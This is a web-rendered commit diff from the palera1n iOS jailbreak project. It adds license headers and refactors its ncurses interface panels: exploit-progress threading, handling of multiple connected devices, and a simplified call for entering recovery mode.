||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_DFU_PANEL_HPP
|
#ifndef TUI_DFU_PANEL_HPP
|
||||||
|
|||||||
+46
-28
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "TuiExploitPanel.hpp"
|
#include "TuiExploitPanel.hpp"
|
||||||
@@ -12,7 +39,7 @@
|
|||||||
|
|
||||||
#include "Tui.hpp"
|
#include "Tui.hpp"
|
||||||
#include "TuiText.hpp"
|
#include "TuiText.hpp"
|
||||||
#include "../m8/run.h"
|
#include "../exploit.h"
|
||||||
|
|
||||||
static const char *buttons[] = { "Back" };
|
static const char *buttons[] = { "Back" };
|
||||||
static constexpr int kExploitContentX = 2;
|
static constexpr int kExploitContentX = 2;
|
||||||
@@ -81,51 +108,42 @@ void TuiExploitPanel::set_status(const std::string& status, int progress) {
|
|||||||
m_progress = std::clamp(progress, 0, 100);
|
m_progress = std::clamp(progress, 0, 100);
|
||||||
}
|
}
|
||||||
|
|
||||||
void TuiExploitPanel::exploit() {
|
void TuiExploitPanel::exploit()
|
||||||
|
{
|
||||||
if (m_is_exploiting) {
|
if (m_is_exploiting) {
|
||||||
return;
|
return;
|
||||||
|
} else {
|
||||||
|
m_is_exploiting = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_is_exploiting = true;
|
std::thread([this]()
|
||||||
set_status(stage_to_string(STAGE_RESET), 0);
|
{
|
||||||
|
|
||||||
std::thread([this]() {
|
|
||||||
const DeviceState deviceState = GetFrame()->GetDeviceState();
|
const DeviceState deviceState = GetFrame()->GetDeviceState();
|
||||||
if (!deviceState.connected || deviceState.mode != DeviceMode::DFU) {
|
if (!deviceState.connected || deviceState.mode != DeviceMode::DFU) {
|
||||||
set_status("Device is not in DFU mode.", 0);
|
|
||||||
m_is_exploiting = false;
|
m_is_exploiting = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
auto sharedState = std::make_shared<shared_t>();
|
auto stage = std::make_shared<std::atomic<int>>(STAGE_RESET);
|
||||||
atomic_init(&sharedState->stage, STAGE_RESET);
|
|
||||||
atomic_init(&sharedState->stop, false);
|
|
||||||
atomic_init(&sharedState->result, 0);
|
|
||||||
|
|
||||||
auto isFinished = std::make_shared<std::atomic<bool>>(false);
|
std::thread worker([stage]()
|
||||||
|
{
|
||||||
std::thread worker([sharedState, isFinished]() {
|
::exploit(reinterpret_cast<int*>(stage.get()));
|
||||||
::exploit(sharedState.get());
|
stage->store(STAGE_DONE);
|
||||||
isFinished->store(true);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
for (;;) {
|
for (;;)
|
||||||
int stage = atomic_load(&sharedState->stage);
|
{
|
||||||
int progress = stage_to_progress(stage);
|
int currentStage = stage->load();
|
||||||
bool finished = isFinished->load();
|
int progress = stage_to_progress(currentStage);
|
||||||
set_status(stage_to_string(stage), progress);
|
|
||||||
|
|
||||||
if (stage == STAGE_DONE || finished) {
|
set_status(stage_to_string(currentStage), progress);
|
||||||
atomic_store(&sharedState->stop, true);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
if (currentStage == STAGE_DONE) break;
|
||||||
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (worker.joinable()) {
|
if (worker.joinable()) worker.join();
|
||||||
worker.join();
|
|
||||||
}
|
|
||||||
|
|
||||||
m_is_exploiting = false;
|
m_is_exploiting = false;
|
||||||
}).detach();
|
}).detach();
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_EXPLOIT_PANEL_HPP
|
#ifndef TUI_EXPLOIT_PANEL_HPP
|
||||||
|
|||||||
+51
-13
@@ -1,14 +1,40 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "TuiMainPanel.hpp"
|
#include "TuiMainPanel.hpp"
|
||||||
|
|
||||||
#include <string>
|
#include <string>
|
||||||
|
|
||||||
#include <ncurses.h>
|
#include <ncurses.h>
|
||||||
|
|
||||||
#include "Tui.hpp"
|
#include "Tui.hpp"
|
||||||
#include "TuiText.hpp"
|
#include "TuiText.hpp"
|
||||||
#include "../event.hpp"
|
#include "../events/event.hpp"
|
||||||
#include "../globals.h"
|
#include "../globals.h"
|
||||||
#include "../paleinfo.h"
|
#include "../paleinfo.h"
|
||||||
|
|
||||||
@@ -19,14 +45,14 @@ static constexpr int kMainSeparatorX = 1;
|
|||||||
static constexpr int kMainSeparatorWidth = 63;
|
static constexpr int kMainSeparatorWidth = 63;
|
||||||
|
|
||||||
static std::string get_device_title(const DeviceState& state) {
|
static std::string get_device_title(const DeviceState& state) {
|
||||||
|
if (state.multipleDevices || state.connectedDeviceCount > 1) {
|
||||||
|
return "Multiple devices detected";
|
||||||
|
}
|
||||||
if (!state.connected) {
|
if (!state.connected) {
|
||||||
if (state.connectedDeviceCount > 1) {
|
|
||||||
return "Multiple devices detected";
|
|
||||||
}
|
|
||||||
return "No device connected";
|
return "No device connected";
|
||||||
}
|
}
|
||||||
|
|
||||||
const std::string product = state.productType.empty() ? "Unknown" : state.productType;
|
const std::string product = state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName;
|
||||||
if (state.mode == DeviceMode::DFU) {
|
if (state.mode == DeviceMode::DFU) {
|
||||||
return "DFU Mode device";
|
return "DFU Mode device";
|
||||||
}
|
}
|
||||||
@@ -34,11 +60,11 @@ static std::string get_device_title(const DeviceState& state) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
static std::string get_device_subtitle(const DeviceState& state) {
|
static std::string get_device_subtitle(const DeviceState& state) {
|
||||||
|
if (state.multipleDevices || state.connectedDeviceCount > 1) {
|
||||||
|
return std::to_string(state.connectedDeviceCount) +
|
||||||
|
" USB devices connected. Disconnect extras and keep only one device attached.";
|
||||||
|
}
|
||||||
if (!state.connected) {
|
if (!state.connected) {
|
||||||
if (state.connectedDeviceCount > 1) {
|
|
||||||
return std::to_string(state.connectedDeviceCount) +
|
|
||||||
"USB devices connected. Disconnect extras and keep only one device attached.";
|
|
||||||
}
|
|
||||||
return "Please connect a device to get started. Ensure version range is 15.0+";
|
return "Please connect a device to get started. Ensure version range is 15.0+";
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -57,7 +83,7 @@ static std::string get_device_subtitle(const DeviceState& state) {
|
|||||||
}
|
}
|
||||||
return "Not supported\n" + ecid;
|
return "Not supported\n" + ecid;
|
||||||
case DeviceMode::DFU:
|
case DeviceMode::DFU:
|
||||||
return "Sorry, jailbreaking in DFU mode is not supported.";
|
return "Sorry, jailbreaking in DFU mode is not supported.\n";
|
||||||
case DeviceMode::None:
|
case DeviceMode::None:
|
||||||
return "Please connect a device to get started. Ensure version range is 15.0+";
|
return "Please connect a device to get started. Ensure version range is 15.0+";
|
||||||
}
|
}
|
||||||
@@ -180,6 +206,9 @@ void TuiMainPanel::draw(int sy, int sx, int selected) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
|
void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
|
||||||
|
DeviceState state = GetFrame()->GetDeviceState();
|
||||||
|
const bool block_start = state.multipleDevices || state.connectedDeviceCount > 1;
|
||||||
|
|
||||||
switch(selected) {
|
switch(selected) {
|
||||||
case 0:
|
case 0:
|
||||||
palerain_flags ^= palerain_option_quick;
|
palerain_flags ^= palerain_option_quick;
|
||||||
@@ -190,9 +219,9 @@ void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
|
|||||||
break;
|
break;
|
||||||
|
|
||||||
case 2: {
|
case 2: {
|
||||||
DeviceState state = GetFrame()->GetDeviceState();
|
if (block_start) break;
|
||||||
bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU);
|
|
||||||
|
|
||||||
|
bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU);
|
||||||
if (can_start) {
|
if (can_start) {
|
||||||
if (state.mode == DeviceMode::Recovery) {
|
if (state.mode == DeviceMode::Recovery) {
|
||||||
GetFrame()->ShowDfu(1);
|
GetFrame()->ShowDfu(1);
|
||||||
@@ -214,6 +243,15 @@ void TuiMainPanel::handle_device_update(const DeviceState& state) {}
|
|||||||
bool TuiMainPanel::is_button_enabled(int btn_idx) const {
|
bool TuiMainPanel::is_button_enabled(int btn_idx) const {
|
||||||
DeviceState state = GetFrame()->GetDeviceState();
|
DeviceState state = GetFrame()->GetDeviceState();
|
||||||
|
|
||||||
|
if (state.multipleDevices || state.connectedDeviceCount > 1) {
|
||||||
|
switch(btn_idx) {
|
||||||
|
case 0: return true;
|
||||||
|
case 1: return true;
|
||||||
|
case 2: return false;
|
||||||
|
case 3: return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
switch(btn_idx) {
|
switch(btn_idx) {
|
||||||
case 0: return true;
|
case 0: return true;
|
||||||
case 1: return true;
|
case 1: return true;
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_MAIN_PANEL_HPP
|
#ifndef TUI_MAIN_PANEL_HPP
|
||||||
|
|||||||
+28
-1
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_PANEL_HPP
|
#ifndef TUI_PANEL_HPP
|
||||||
@@ -5,7 +32,7 @@
|
|||||||
|
|
||||||
#include <ncurses.h>
|
#include <ncurses.h>
|
||||||
|
|
||||||
#include "../event.hpp"
|
#include "../events/event.hpp"
|
||||||
|
|
||||||
class TuiFrame;
|
class TuiFrame;
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "TuiRecoveryPanel.hpp"
|
#include "TuiRecoveryPanel.hpp"
|
||||||
@@ -12,9 +39,6 @@
|
|||||||
#include "../globals.h"
|
#include "../globals.h"
|
||||||
#include "../paleinfo.h"
|
#include "../paleinfo.h"
|
||||||
|
|
||||||
#include <libimobiledevice/libimobiledevice.h>
|
|
||||||
#include <libimobiledevice/lockdown.h>
|
|
||||||
|
|
||||||
static const char *buttons[] = { "Back", "Next" };
|
static const char *buttons[] = { "Back", "Next" };
|
||||||
static constexpr int kRecoveryContentX = 2;
|
static constexpr int kRecoveryContentX = 2;
|
||||||
static constexpr int kRecoveryContentWidth = 60;
|
static constexpr int kRecoveryContentWidth = 60;
|
||||||
@@ -113,26 +137,7 @@ void TuiRecoveryPanel::enter_recovery_mode() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
idevice_t device = nullptr;
|
enter_recovery();
|
||||||
lockdownd_client_t client = nullptr;
|
|
||||||
|
|
||||||
if (idevice_new(&device, state.udid.c_str()) != IDEVICE_E_SUCCESS) {
|
|
||||||
m_is_entering_recovery = false;
|
|
||||||
m_buttons_disabled = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) {
|
|
||||||
idevice_free(device);
|
|
||||||
m_is_entering_recovery = false;
|
|
||||||
m_buttons_disabled = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
lockdownd_enter_recovery(client);
|
|
||||||
|
|
||||||
lockdownd_client_free(client);
|
|
||||||
idevice_free(device);
|
|
||||||
}).detach();
|
}).detach();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_RECOVERY_PANEL_HPP
|
#ifndef TUI_RECOVERY_PANEL_HPP
|
||||||
|
|||||||
Loaded 100 of 128 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user